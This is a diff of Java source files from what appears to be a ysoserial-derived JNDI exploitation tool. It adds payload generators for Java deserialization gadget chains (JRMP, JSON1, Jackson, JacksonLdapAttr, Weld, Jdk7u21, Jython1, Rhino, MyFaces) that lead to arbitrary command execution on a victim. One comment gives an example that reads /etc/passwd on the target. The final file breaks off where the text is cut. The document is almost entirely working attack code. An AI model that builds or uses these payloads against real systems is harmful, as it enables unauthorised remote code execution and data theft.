if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1)).intValue();
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
return proxy;
}
}
@@ -0,0 +1,31 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@Authors({"mbechler"})
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
@Override
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
String host;
int port, sep = command.indexOf(':');
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1)).intValue();
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return obj;
}
}
@@ -0,0 +1,47 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.utils.Reflections;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
* <p>
* Requires:
* - JavaSE
* <p>
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings({
"restriction"
})
@Authors({Authors.MBECHLER})
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
@Override
public UnicastRemoteObject getObject(String command) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
RemoteRef.class
}, new Object[]{
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
}
@@ -0,0 +1,90 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import net.sf.json.JSONObject;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.openmbean.*;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* A bit more convoluted example
* <p>
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes", "unchecked", "restriction"
})
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
@Authors({Authors.MBECHLER})
public class JSON1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object tql;
tql = Gadgets.createTemplatesImpl(command);
Class ifaces = Templates.class;
CompositeType rt = new CompositeType("a", "b",
new String[]{"a"},
new String[]{"a"},
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
);
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tql);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return Gadgets.makeMap(t1, t2);
}
}
@@ -0,0 +1,44 @@
package com.qi4l.jndi.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
public class Jackson implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
//pool.insertClassPath(new ClassClassPath(Class.forName("com.fasterxml.jackson.databind.node.BaseJsonNode")));
try {
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
// 将修改后的CtClass加载至当前线程的上下文类加载器中
ctClass.toClass();
} catch (Exception EE) {
}
POJONode node = new POJONode(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", node);
HashMap hashMap = new HashMap();
hashMap.put(template, badAttributeValueExpException);
return hashMap;
}
}
@@ -0,0 +1,57 @@
package com.qi4l.jndi.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class JacksonLdapAttr implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, command);
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
POJONode node = new POJONode(la);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
return val;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
@@ -0,0 +1,79 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER})
public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return tpl;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
}
@@ -0,0 +1,101 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
/**
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
* the same JRE version requirements.
* <p>
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
* <p>
* Call tree:
* <p>
* LinkedHashSet.readObject()
* LinkedHashSet.add()
* ...
* TemplatesImpl.hashCode() (X)
* LinkedHashSet.add()
* ...
* Proxy(Templates).hashCode() (X)
* AnnotationInvocationHandler.invoke() (X)
* AnnotationInvocationHandler.hashCodeImpl() (X)
* String.hashCode() (0)
* AnnotationInvocationHandler.memberValueHashCode() (X)
* TemplatesImpl.hashCode() (X)
* Proxy(Templates).equals()
* AnnotationInvocationHandler.invoke()
* AnnotationInvocationHandler.equalsImpl()
* Method.invoke()
* ...
* TemplatesImpl.getOutputProperties()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* TemplatesImpl.defineTransletClasses()
* ClassLoader.defineClass()
* Class.newInstance()
* ...
* MaliciousClass.<clinit>()
* ...
* Runtime.exec()
*/
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// hashCode 为 0 的字符串
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
// 反射写入 AnnotationInvocationHandler 的 type
Reflections.setFieldValue(tempHandler, "type", Templates.class);
// 为 Templates 创建动态代理
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class}, tempHandler);
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
// 反射将 _auxClasses 和 _class 修改为 null
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
// 向 map 中替换 tmpl 对象
map.put(zeroHashCodeStr, templates);
return set;
}
}
@@ -0,0 +1,47 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
@Authors({"potats0"})
public class Jdk7u21variant implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates);
MarshalledObject marshalledObject = new MarshalledObject(set);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
set = new LinkedHashSet(); // maintain order
set.add(marshalledObject);
set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
return set;
}
}
@@ -0,0 +1,101 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.io.FileUtils;
import org.python.core.*;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
* <p>
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
* <p>
* <local path>;<remote path>
* <p>
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
* <p>
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
* <p>
* In the above example, if "read_etc_passwd.py" simply contained the string:
* <p>
* raise Exception(open('/etc/passwd', 'r').read())
* <p>
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@Dependencies({"org.python:jython-standalone:2.5.2"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class Jython1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(":");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, (InvocationHandler) handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
}
@@ -0,0 +1,72 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"unused"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.MATTHIASKAISER})
public class MozillaRhino1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public Object getObject(String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
}
@@ -0,0 +1,104 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
/**
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
* <p>
* Chain:
* <p>
* NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject()
* ObjectInputStream.readObject()
* ...
* NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject()
* JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty()
* ScriptableObject.get()
* ScriptableObject.getImpl()
* Method.invoke()
* Context.enter()
* JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty()
* NativeJavaArray.get()
* NativeJavaObject.get()
* JavaMembers.get()
* Method.invoke()
* TemplatesImpl.getOutputProperties()
* ...
* <p>
* by @_tint0
*/
@Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.TINT0})
public class MozillaRhino2 implements ObjectPayload<Object> {
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
@Override
public Object getObject(String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
new Class[]{Method.class},
new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
}
@@ -0,0 +1,82 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
* <p>
* Arguments:
* - an EL expression to execute
* <p>
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@Dependencies
@Authors({Authors.MBECHLER})
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies() {
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ("juel".equals(System.getProperty("el"))) {
return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
